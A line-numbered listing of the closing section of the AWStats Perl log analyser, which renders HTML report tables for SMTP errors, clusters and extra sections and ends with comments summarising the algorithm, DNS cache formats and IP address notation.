                                  . "</td><td>$_errors_h{$key}</td><td>$p %</td><td>"
19298
 
                                  . Format_Bytes( $_errors_k{$key} ) . "</td>";
19299
 
                                print "</tr>\n";
19300
 
                                $total_h += $_errors_h{$key};
19301
 
                                $count++;
19302
 
                        }
19303
 
                        &tab_end("* $Message[154]");
19304
 
                }
19305
 
 
19306
 
                # BY SMTP STATUS
19307
 
                #----------------------------
19308
 
                if ($ShowSMTPErrorsStats) {
19309
 
                        if ($Debug) { debug( "ShowSMTPErrorsStats", 2 ); }
19310
 
                        print "$Center<a name=\"errors\">&nbsp;</a><br />\n";
19311
 
                        my $title = "$Message[147]";
19312
 
                        &tab_head( "$title", 19, 0, 'errors' );
19313
 
                        print
19314
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
19315
 
                        $total_h = 0;
19316
 
                        my $count = 0;
19317
 
                        &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
19318
 
 
19319
 
                        foreach my $key (@keylist) {
19320
 
                                my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
19321
 
                                print "<tr" . Tooltip( $key, $key ) . ">";
19322
 
                                print "<td valign=\"top\">$key</td>";
19323
 
                                print "<td class=\"aws\">"
19324
 
                                  . (
19325
 
                                        $smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' )
19326
 
                                  . "</td><td>$_errors_h{$key}</td><td>$p %</td><td>"
19327
 
                                  . Format_Bytes( $_errors_k{$key} ) . "</td>";
19328
 
                                print "</tr>\n";
19329
 
                                $total_h += $_errors_h{$key};
19330
 
                                $count++;
19331
 
                        }
19332
 
                        &tab_end();
19333
 
                }
19334
 
 
19335
 
                # BY CLUSTER
19336
 
                #----------------------------
19337
 
                if ($ShowClusterStats) {
19338
 
                        if ($Debug) { debug( "ShowClusterStats", 2 ); }
19339
 
                        print "$Center<a name=\"clusters\">&nbsp;</a><br />\n";
19340
 
                        my $title = "$Message[155]";
19341
 
                        &tab_head( "$title", 19, 0, 'clusters' );
19342
 
                        print
19343
 
                          "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>";
19344
 
                        &ShowClusterInfo('__title__');
19345
 
                        if ( $ShowClusterStats =~ /P/i ) {
19346
 
                                print
19347
 
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
19348
 
                        }
19349
 
                        if ( $ShowClusterStats =~ /H/i ) {
19350
 
                                print
19351
 
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
19352
 
                        }
19353
 
                        if ( $ShowClusterStats =~ /B/i ) {
19354
 
                                print
19355
 
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
19356
 
                        }
19357
 
                        print "</tr>\n";
19358
 
                        $total_p = $total_h = $total_k = 0;
19359
 
 
19360
 
# Cluster feature might have been enable in middle of month so we recalculate
19361
 
# total for cluster section only, to calculate ratio, instead of using global total
19362
 
                        foreach my $key ( keys %_cluster_h ) {
19363
 
                                $total_p += int( $_cluster_p{$key} || 0 );
19364
 
                                $total_h += int( $_cluster_h{$key} || 0 );
19365
 
                                $total_k += int( $_cluster_k{$key} || 0 );
19366
 
                        }
19367
 
                        my $count = 0;
19368
 
                        foreach my $key ( keys %_cluster_h ) {
19369
 
                                my $p_p = int( $_cluster_p{$key} / $total_p * 1000 ) / 10;
19370
 
                                my $p_h = int( $_cluster_h{$key} / $total_h * 1000 ) / 10;
19371
 
                                my $p_k = int( $_cluster_k{$key} / $total_k * 1000 ) / 10;
19372
 
                                print "<tr>";
19373
 
                                print "<td class=\"aws\">Computer $key</td>";
19374
 
                                &ShowClusterInfo($key);
19375
 
                                if ( $ShowClusterStats =~ /P/i ) {
19376
 
                                        print "<td>"
19377
 
                                          . ( $_cluster_p{$key} ? $_cluster_p{$key} : "&nbsp;" )
19378
 
                                          . "</td><td>$p_p %</td>";
19379
 
                                }
19380
 
                                if ( $ShowClusterStats =~ /H/i ) {
19381
 
                                        print "<td>$_cluster_h{$key}</td><td>$p_h %</td>";
19382
 
                                }
19383
 
                                if ( $ShowClusterStats =~ /B/i ) {
19384
 
                                        print "<td>"
19385
 
                                          . Format_Bytes( $_cluster_k{$key} )
19386
 
                                          . "</td><td>$p_k %</td>";
19387
 
                                }
19388
 
                                print "</tr>\n";
19389
 
                                $count++;
19390
 
                        }
19391
 
                        &tab_end();
19392
 
                }
19393
 
 
19394
 
                # BY EXTRA SECTIONS
19395
 
                #----------------------------
19396
 
                foreach my $extranum ( 1 .. @ExtraName - 1 ) {
19397
 
                        if ($Debug) { debug( "ExtraName$extranum", 2 ); }
19398
 
                        print "$Center<a name=\"extra$extranum\">&nbsp;</a><br />";
19399
 
                        my $title = $ExtraName[$extranum];
19400
 
                        &tab_head( "$title", 19, 0, "extra$extranum" );
19401
 
                        print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
19402
 
                        print "<th>" . $ExtraFirstColumnTitle[$extranum];
19403
 
                        print "&nbsp; - &nbsp; <a href=\""
19404
 
                          . (
19405
 
                                $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
19406
 
                                ? XMLEncode(
19407
 
                                        "$AWScript?${NewLinkParams}output=allextra$extranum")
19408
 
                                : "$PROG$StaticLinks.allextra$extranum.$StaticExt"
19409
 
                          )
19410
 
                          . "\"$NewLinkTarget>$Message[80]</a>";
19411
 
                        print "</th>";
19412
 
 
19413
 
                        if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19414
 
                                print
19415
 
                                  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
19416
 
                        }
19417
 
                        if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
19418
 
                                print
19419
 
                                  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
19420
 
                        }
19421
 
                        if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
19422
 
                                print
19423
 
                                  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
19424
 
                        }
19425
 
                        if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
19426
 
                                print "<th width=\"120\">$Message[9]</th>";
19427
 
                        }
19428
 
                        print "</tr>\n";
19429
 
                        $total_p = $total_h = $total_k = 0;
19430
 
 
19431
 
         #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
19432
 
         #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
19433
 
                        my $count = 0;
19434
 
                        if ( $MaxNbOfExtra[$extranum] ) {
19435
 
                                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19436
 
                                        &BuildKeyList(
19437
 
                                                $MaxNbOfExtra[$extranum],
19438
 
                                                $MinHitExtra[$extranum],
19439
 
                                                \%{ '_section_' . $extranum . '_h' },
19440
 
                                                \%{ '_section_' . $extranum . '_p' }
19441
 
                                        );
19442
 
                                }
19443
 
                                else {
19444
 
                                        &BuildKeyList(
19445
 
                                                $MaxNbOfExtra[$extranum],
19446
 
                                                $MinHitExtra[$extranum],
19447
 
                                                \%{ '_section_' . $extranum . '_h' },
19448
 
                                                \%{ '_section_' . $extranum . '_h' }
19449
 
                                        );
19450
 
                                }
19451
 
                        }
19452
 
                        else {
19453
 
                                @keylist = ();
19454
 
                        }
19455
 
                        my %keysinkeylist = ();
19456
 
                        foreach my $key (@keylist) {
19457
 
                                $keysinkeylist{$key} = 1;
19458
 
                                my $firstcol = CleanXSS( DecodeEncodedString($key) );
19459
 
                                $total_p += ${ '_section_' . $extranum . '_p' }{$key};
19460
 
                                $total_h += ${ '_section_' . $extranum . '_h' }{$key};
19461
 
                                $total_k += ${ '_section_' . $extranum . '_k' }{$key};
19462
 
                                print "<tr>";
19463
 
                                printf(
19464
 
                                        "<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
19465
 
                                        $firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
19466
 
                                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19467
 
                                        print "<td>"
19468
 
                                          . ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
19469
 
                                }
19470
 
                                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
19471
 
                                        print "<td>"
19472
 
                                          . ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
19473
 
                                }
19474
 
                                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
19475
 
                                        print "<td>"
19476
 
                                          . Format_Bytes(
19477
 
                                                ${ '_section_' . $extranum . '_k' }{$key} )
19478
 
                                          . "</td>";
19479
 
                                }
19480
 
                                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
19481
 
                                        print "<td>"
19482
 
                                          . (
19483
 
                                                ${ '_section_' . $extranum . '_l' }{$key}
19484
 
                                                ? Format_Date(
19485
 
                                                        ${ '_section_' . $extranum . '_l' }{$key}, 1 )
19486
 
                                                : '-'
19487
 
                                          )
19488
 
                                          . "</td>";
19489
 
                                }
19490
 
                                print "</tr>\n";
19491
 
                                $count++;
19492
 
                        }
19493
 
 
19494
 
                        # If we ask average or sum, we loop on all other records
19495
 
                        if ( $ExtraAddAverageRow[$extranum] || $ExtraAddSumRow[$extranum] )
19496
 
                        {
19497
 
                                foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
19498
 
                                        if ( $keysinkeylist{$_} ) { next; }
19499
 
                                        $total_p += ${ '_section_' . $extranum . '_p' }{$_};
19500
 
                                        $total_h += ${ '_section_' . $extranum . '_h' }{$_};
19501
 
                                        $total_k += ${ '_section_' . $extranum . '_k' }{$_};
19502
 
                                        $count++;
19503
 
                                }
19504
 
                        }
19505
 
 
19506
 
                        # Add average row
19507
 
                        if ( $ExtraAddAverageRow[$extranum] ) {
19508
 
                                print "<tr>";
19509
 
                                print "<td class=\"aws\"><b>$Message[96]</b></td>";
19510
 
                                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19511
 
                                        print "<td>"
19512
 
                                          . ( $count ? ( $total_p / $count ) : "&nbsp;" ) . "</td>";
19513
 
                                }
19514
 
                                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
19515
 
                                        print "<td>"
19516
 
                                          . ( $count ? ( $total_h / $count ) : "&nbsp;" ) . "</td>";
19517
 
                                }
19518
 
                                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
19519
 
                                        print "<td>"
19520
 
                                          . (
19521
 
                                                $count ? Format_Bytes( $total_k / $count ) : "&nbsp;" )
19522
 
                                          . "</td>";
19523
 
                                }
19524
 
                                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
19525
 
                                        print "<td>&nbsp;</td>";
19526
 
                                }
19527
 
                                print "</tr>\n";
19528
 
                        }
19529
 
 
19530
 
                        # Add sum row
19531
 
                        if ( $ExtraAddSumRow[$extranum] ) {
19532
 
                                print "<tr>";
19533
 
                                print "<td class=\"aws\"><b>$Message[102]</b></td>";
19534
 
                                if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19535
 
                                        print "<td>" . ($total_p) . "</td>";
19536
 
                                }
19537
 
                                if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
19538
 
                                        print "<td>" . ($total_h) . "</td>";
19539
 
                                }
19540
 
                                if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
19541
 
                                        print "<td>" . Format_Bytes($total_k) . "</td>";
19542
 
                                }
19543
 
                                if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
19544
 
                                        print "<td>&nbsp;</td>";
19545
 
                                }
19546
 
                                print "</tr>\n";
19547
 
                        }
19548
 
                        &tab_end();
19549
 
                }
19550
 
 
19551
 
                &html_end(1);
19552
 
        }
19553
 
}
19554
 
else {
19555
 
        print "Jumped lines in file: $lastlinenb\n";
19556
 
        if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; }
19557
 
        print "Parsed lines in file: $NbOfLinesParsed\n";
19558
 
        print " Found $NbOfLinesDropped dropped records,\n";
19559
 
        print " Found $NbOfLinesCorrupted corrupted records,\n";
19560
 
        print " Found $NbOfOldLines old records,\n";
19561
 
        print " Found $NbOfNewLines new qualified records.\n";
19562
 
}
19563
 
 
19564
 
#sleep 10;
19565
 
 
19566
 
0;    # Do not remove this line
19567
 
 
19568
 
#-------------------------------------------------------
19569
 
# ALGORITHM SUMMARY
19570
 
#
19571
 
# Read_Config();
19572
 
# Check_Config() and Init variables
19573
 
# if 'frame not index'
19574
 
#       &Read_Language_Data($Lang);
19575
 
#       if 'frame not mainleft'
19576
 
#               &Read_Ref_Data();
19577
 
#               &Read_Plugins();
19578
 
# html_head
19579
 
#
19580
 
# If 'migrate'
19581
 
#   We create/update tmp file with
19582
 
#     &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all");
19583
 
#   Rename the tmp file
19584
 
#   html_end
19585
 
#   Exit
19586
 
# End of 'migrate'
19587
 
#
19588
 
# Get last history file name
19589
 
# Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with
19590
 
#       &Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general");
19591
 
#
19592
 
# &Init_HashArray()
19593
 
#
19594
 
# If 'update'
19595
 
#   Loop on each new line in log file
19596
 
#     lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position
19597
 
#     If line corrupted, skip --> next on loop
19598
 
#         Drop wrong virtual host --> next on loop
19599
 
#     Drop wrong method/protocol --> next on loop
19600
 
#     Check date --> next on loop
19601
 
#     If line older than $LastLine, skip --> next on loop
19602
 
#     So it's new line
19603
 
#     $LastLine = time or record
19604
 
#     Skip if url is /robots.txt --> next on loop
19605
 
#     Skip line for @SkipHosts --> next on loop
19606
 
#     Skip line for @SkipFiles --> next on loop
19607
 
#     Skip line for @SkipUserAgent --> next on loop
19608
 
#     Skip line for not @OnlyHosts --> next on loop
19609
 
#     Skip line for not @OnlyUsers --> next on loop
19610
 
#     Skip line for not @OnlyFiles --> next on loop
19611
 
#     Skip line for not @OnlyUserAgent --> next on loop
19612
 
#     So it's new line approved
19613
 
#     If other month/year, create/update tmp file and purge data arrays with
19614
 
#       &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
19615
 
#     Define a clean Url and Query (set urlwithnoquery, tokenquery and standalonequery and $field[$pos_url])
19616
 
#     Define PageBool and extension
19617
 
#     Analyze: Misc tracker --> complete %misc
19618
 
#     Analyze: Hit on favorite icon --> complete %_misc, countedtraffic=1 (not counted anywhere)
19619
 
#     If (!countedtraffic) Analyze: Worms --> complete %_worms, countedtraffic=2
19620
 
#     If (!countedtraffic) Analyze: Status code --> complete %_error_, %_sider404, %_referrer404 --> countedtraffic=3
19621
 
#     If (!countedtraffic) Analyze: Robots known --> complete %_robot, countedtraffic=4
19622
 
#     If (!countedtraffic) Analyze: Robots unknown on robots.txt --> complete %_robot, countedtraffic=5
19623
 
#     If (!countedtraffic) Analyze: File types - Compression
19624
 
#     If (!countedtraffic) Analyze: Date - Hour - Pages - Hits - Kilo
19625
 
#     If (!countedtraffic) Analyze: Login
19626
 
#     If (!countedtraffic) Do DNS Lookup
19627
 
#     If (!countedtraffic) Analyze: Country
19628
 
#     If (!countedtraffic) Analyze: Host - Url - Session
19629
 
#     If (!countedtraffic) Analyze: Browser - OS
19630
 
#     If (!countedtraffic) Analyze: Referer
19631
 
#     If (!countedtraffic) Analyze: EMail
19632
 
#     Analyze: Cluster
19633
 
#     Analyze: Extra (must be after 'Define a clean Url and Query')
19634
 
#     If too many records, we flush data arrays with
19635
 
#       &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_));
19636
 
#   End of loop
19637
 
#
19638
 
#   Create/update tmp file
19639
 
#         Seek to lastlineoffset in logfile to read and get last line into $_
19640
 
#         &Read_History_With_TmpUpdate(lastprocessedyear,lastprocessedmonth,lastprocessedday,lastprocessedhour,UPDATE,PURGE,"all",lastlinenb,lastlineoffset,CheckSum($_))
19641
 
#   Rename all created tmp files
19642
 
# End of 'update'
19643
 
#
19644
 
# &Init_HashArray()
19645
 
#
19646
 
# If 'output'
19647
 
#   Loop for each month of required year
19648
 
#     &Read_History_With_TmpUpdate($YearRequired,$monthloop,'','',NOUPDATE,NOPURGE,'all' or 'general time' if not required month)
19649
 
#   End of loop
19650
 
#   Show data arrays in HTML page
19651
 
#   html_end
19652
 
# End of 'output'
19653
 
#-------------------------------------------------------
19654
 
 
19655
 
#-------------------------------------------------------
19656
 
# DNS CACHE FILE FORMATS SUPPORTED BY AWSTATS
19657
 
# Format /etc/hosts     x.y.z.w hostname
19658
 
# Format analog         UT/60 x.y.z.w hostname
19659
 
#-------------------------------------------------------
19660
 
 
19661
 
#-------------------------------------------------------
19662
 
# IP Format (d=decimal on 16 bits, x=hexadecimal on 16 bits)
19663
 
#
19664
 
# 13.1.68.3                                             IPv4 (d.d.d.d)
19665
 
# 0:0:0:0:0:0:13.1.68.3                 IPv6 (x:x:x:x:x:x:d.d.d.d)
19666
 
# ::13.1.68.3
19667
 
# 0:0:0:0:0:FFFF:13.1.68.3              IPv6 (x:x:x:x:x:x:d.d.d.d)
19668
 
# ::FFFF:13.1.68.3                              IPv6
19669
 
#
19670
 
# 1070:0:0:0:0:800:200C:417B    IPv6
19671
 
# 1070:0:0:0:0:800:200C:417B    IPv6
19672
 
# 1070::800:200C:417B                   IPv6
19673
 
#-------------------------------------------------------